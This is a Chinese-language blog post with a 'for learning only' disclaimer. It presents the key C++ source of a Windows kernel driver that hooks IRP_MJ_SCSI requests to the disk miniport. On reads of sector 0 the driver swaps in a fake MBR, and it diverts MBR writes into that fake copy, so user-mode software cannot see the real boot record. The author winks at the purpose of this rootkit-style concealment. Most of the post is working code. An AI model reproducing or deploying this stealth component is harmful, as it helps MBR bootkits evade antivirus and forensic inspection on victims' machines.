驱动隐藏MBR

驱动隐藏MBR

说明:技术仅供学习使用,如恶意利用,与作者无关!

技术简介

就是拦截MiniPort的请求,查看请求的LDR是不是0,(Read时)是0就将SystemBuffer填充成我们伪造的MBR,直接返回,不是就放行.
至于Write时,就将更改保存到我们伪造的MBR,这样就很大程度上欺骗了r3.
当驱动没加载时,则使用真的MBR,所以系统启动没问题,至于用途你们应该也想得到吧233.

代码

代码就只贴关键部分吧.

ScsiFilter.cpp

#include <Ntifs.h>
#include <srb.h>
#include <scsi.h>
#include "ScsiFilter.h"

//Called after a read request to the MBR has been processed
NTSTATUS MbrReadComplete(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context)
{
    PVOID SystemMdlAddress;
    PIO_STACK_LOCATION StackLocation;
    PCOMPLETION_CTX CompletionCtx;
    CHAR InvokeCompletion = FALSE;
    UCHAR Control;
    NTSTATUS IrpStatus, status = STATUS_SUCCESS;

    CompletionCtx = (PCOMPLETION_CTX)Context;
    StackLocation = IoGetCurrentIrpStackLocation(Irp);

    //If request was successful, we need to replace the real MBR inside buffer
    if (NT_SUCCESS(Irp->IoStatus.Status) && CompletionCtx->TransferLength > 0)
    {
        SystemMdlAddress = MmGetSystemAddressForMdlSafe(Irp->MdlAddress, NormalPagePriority);
        if (SystemMdlAddress)
        {
            memcpy(SystemMdlAddress, FakeMbr, 512);
            DbgPrint("{CompletionRoutine} Disk read request was successful, replaced MBR in buffer %X\n", CompletionCtx->TransferLength);
        }
    }

    //Restore original completion routine information
    StackLocation->Context = CompletionCtx->OriginalContext;
    StackLocation->CompletionRoutine = CompletionCtx->OriginalRoutine;
    StackLocation->Control = CompletionCtx->OriginalControl;

    Control = StackLocation->Control;
    IrpStatus = Irp->IoStatus.Status;

    //If there is an original completion routine, check if it should be called
    if (StackLocation->CompletionRoutine)
    {
        if (NT_SUCCESS(IrpStatus) && (Control & SL_INVOKE_ON_SUCCESS) == SL_INVOKE_ON_SUCCESS)
            InvokeCompletion = TRUE;

        if (IrpStatus == STATUS_CANCELLED && (Control & SL_INVOKE_ON_CANCEL) == SL_INVOKE_ON_CANCEL)
            InvokeCompletion = TRUE;

        if (NT_ERROR(IrpStatus) && IrpStatus != STATUS_CANCELLED &&
            (Control & SL_INVOKE_ON_ERROR) == SL_INVOKE_ON_ERROR)
            InvokeCompletion = TRUE;
    }

    //Call original completion routine
    if (InvokeCompletion == TRUE)
        status = (StackLocation->CompletionRoutine)(DeviceObject, Irp, StackLocation->Context);

    ExFreePool(Context);
    return status;
}

//Handle SCSI WRITE(10) requests
NTSTATUS ScsiFilterWrite(PIRP Irp, PIO_STACK_LOCATION StackLocation, PSCSI_REQUEST_BLOCK Srb, PCDB Cdb)
{
    ULONG LBA;
    USHORT TransferLength;
    UINT64 BufferOffset;
    PVOID SystemBuffer;
    KIRQL OldIrql;
    NTSTATUS status;

    //Extract logical block address and transfer length from Cdb and fix endian
    LBA = swap_endian<ULONG>(*(ULONG*)&Cdb->CDB10.LogicalBlockByte0);
    TransferLength = swap_endian<USHORT>(*(USHORT*)&Cdb->CDB10.TransferBlocksMsb);

    //Logical block address must be 0 for MBR
    if (Srb->DataTransferLength >= 512 && LBA == 0)
    {
        DbgPrint("{ScsiFilter} Intercepted MBR write request (LBA: %X, Size: %X)\n", LBA, TransferLength);

        //Calculate the offset into the MDL address that ScsiRequestBlock->DataBuffer points to
        BufferOffset = (UINT64)Srb->DataBuffer - (UINT64)MmGetMdlVirtualAddress(Irp->MdlAddress);
        SystemBuffer = (PVOID)((UINT64)MmGetSystemAddressForMdlSafe(Irp->MdlAddress, NormalPagePriority) + BufferOffset);

        if (SystemBuffer)
        {
            //Write to the fake MBR (spin-lock is probably overkill here)
            KeAcquireSpinLock(&FakeMbrWriteLock, &OldIrql);
            memcpy(FakeMbr, SystemBuffer, 512);
            KeReleaseSpinLock(&FakeMbrWriteLock, OldIrql);

            //If the request was only trying to write the MBR, we can just complete the request ourselves
            if (Srb->DataTransferLength == 512)
            {
                Irp->IoStatus.Status = STATUS_SUCCESS;
                Irp->IoStatus.Information = NULL;
                Srb->SrbStatus = SRB_STATUS_SUCCESS;
                Srb->ScsiStatus = SCSISTAT_GOOD;

                //Complete IRP without calling real Miniport
                IoCompleteRequest(Irp, IO_NO_INCREMENT);
                return STATUS_SUCCESS;
            }

            //If the request was trying to read the MBR and more, we need to pass the rest of the request on
            else
            {
                //Edit request to only write the sector(s) after the MBR
                *(ULONG*)&Srb->DataBuffer += 512;
                Srb->DataTransferLength -= 512;
                *(USHORT*)&Cdb->CDB10.TransferBlocksMsb = swap_endian<USHORT>(TransferLength - 1);
                *(ULONG*)&Cdb->CDB10.LogicalBlockByte0 = swap_endian<ULONG >(LBA + 1);

                //Call original Miniport to process request
                status = OriginalScsi(TargetDevice, Irp);

                //A Driver may need the original DataBuffer
                *(ULONG*)&Srb->DataBuffer -= 512;

                //If request is successful, TransferLength is the bytes read from disk
                //We add 512 bytes so it looks like the MBR was read from disk as well
                if (NT_SUCCESS(status))
                    Srb->DataTransferLength += 512;

                return status;
            }
        }
    }
    return OriginalScsi(TargetDevice, Irp);
}

//Handle SCSI READ(10) requests
NTSTATUS ScsiFilterRead(PIRP Irp, PIO_STACK_LOCATION StackLocation, PSCSI_REQUEST_BLOCK Srb, PCDB Cdb)
{
    PCOMPLETION_CTX CompletionCtx;
    ULONG LBA;
    USHORT TransferLength;

    //Extract logical block address and transfer length from Cdb and fix endian
    LBA = swap_endian<ULONG>(*(ULONG*)&Cdb->CDB10.LogicalBlockByte0);
    TransferLength = swap_endian<USHORT>(*(USHORT*)&Cdb->CDB10.TransferBlocksMsb);

    //Logical block address must be 0 (MBR)
    if (LBA == 0 && TransferLength > 0)
    {
        DbgPrint("{ScsiFilter} Intercepted MBR read request (LBA: %X, Size: %X)\n", LBA, TransferLength);

        //Set up structure to be passed to completion routine
        CompletionCtx = (PCOMPLETION_CTX)ExAllocatePool(NonPagedPool, sizeof(COMPLETION_CTX));
        if (CompletionCtx)
        {
            //Store original completion routine info, so we can call it after
            CompletionCtx->OriginalContext = StackLocation->Context;
            CompletionCtx->OriginalRoutine = StackLocation->CompletionRoutine;
            CompletionCtx->OriginalControl = StackLocation->Control;

            //Store LBA and TransferLength for use in completion routine
            CompletionCtx->LBA = LBA;
            CompletionCtx->TransferLength = TransferLength;

            //Set up completion routine
            StackLocation->Context = CompletionCtx;
            StackLocation->CompletionRoutine = &MbrReadComplete;
            StackLocation->Control = SL_INVOKE_ON_SUCCESS | SL_INVOKE_ON_ERROR | SL_INVOKE_ON_CANCEL;

            DbgPrint("{ScsiFilter} Added completion routine\n");
        }
    }

    return OriginalScsi(TargetDevice, Irp);
}

//Filter IRP_MJ_SCSI requests to Miniport
NTSTATUS ScsiFilter(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
    PIO_STACK_LOCATION StackLocation;
    PSCSI_REQUEST_BLOCK Srb;
    PCDB Cdb;
    NTSTATUS status = STATUS_UNSUCCESSFUL;

    //Only process requests for the target Miniport device
    if (DeviceObject != TargetDevice)
        return OriginalScsi(DeviceObject, Irp);

    StackLocation = IoGetCurrentIrpStackLocation(Irp);
    Srb = StackLocation->Parameters.Scsi.Srb;
    Cdb = (PCDB)Srb->Cdb;

    //SCSI READ(10) and WRITE(10) are all we need to handle on disks < 2TB
    if (Srb->CdbLength != 10)
        return OriginalScsi(DeviceObject, Irp);

    //If it's an read request, pass it to our read handler
    if (Cdb->CDB10.OperationCode == SCSIOP_READ || Cdb->CDB10.OperationCode == SCSIOP_READ_DATA_BUFF)
        status = ScsiFilterRead(Irp, StackLocation, Srb, Cdb);

    //If it's a write request, pass it to our write handler
    else if (Cdb->CDB10.OperationCode == SCSIOP_WRITE || Cdb->CDB10.OperationCode == SCSIOP_WRITE_DATA_BUFF)
        status = ScsiFilterWrite(Irp, StackLocation, Srb, Cdb);
    //status = STATUS_ACCESS_DENIED;

    return status;
}

ScsiFilter.h

//C++ templates in a driver, sue me
template <typename T>
T swap_endian(T u)
{
    union
    {
        T u;
        unsigned char u8[sizeof(T)];
    } source, dest;

    source.u = u;

    for (size_t k = 0; k < sizeof(T); k++)
        dest.u8[k] = source.u8[sizeof(T) - k - 1];

    return dest.u;
}

//Custom context structure for completion routine
typedef struct  
{
    PIO_COMPLETION_ROUTINE OriginalRoutine;
    PVOID OriginalContext;
    UCHAR OriginalControl;
    ULONG LBA;
    USHORT TransferLength;
} COMPLETION_CTX, *PCOMPLETION_CTX;

NTSTATUS ScsiFilter(PDEVICE_OBJECT DeviceObject, PIRP Irp);
typedef NTSTATUS(*TypeMajorFunction)(PDEVICE_OBJECT DeviceObject, PIRP Irp);

extern PVOID FakeMbr;
extern TypeMajorFunction OriginalScsi;
extern KSPIN_LOCK FakeMbrWriteLock;
extern PDEVICE_OBJECT TargetDevice;

结尾

代码已经贴出,没有很多,就不放下载链接了qwq
如遇任何问题,可以加我QQ:2513881812
喜欢的话不妨打赏一下[滑稽]


   转载规则

请联系作者付费转载。
 上一篇
驱动级操作进程 驱动级操作进程
在内核里操作进程说明:技术仅供学习使用,如恶意利用,与作者无关! 在内核里操作进程,相信是很多对 WINDOWS 内核编程感兴趣的朋友第一个学习的知识点。但在这里,我要让大家失望了,在内核里操作进程没什么特别的,就标准方法而言,还是调用那几
2020-03-20
下一篇 
关机的N种方法 关机的N种方法
关机的N种方法说明:技术仅供学习使用,如恶意利用,与作者无关!1.无意中看到一种通过控制92H端口bit0位,将其置1来实现重启的方法,刚才测试了一下,效果真好 mov al, 01 out 92h, al2.另一种,模拟键盘的reset
2020-03-16
  目录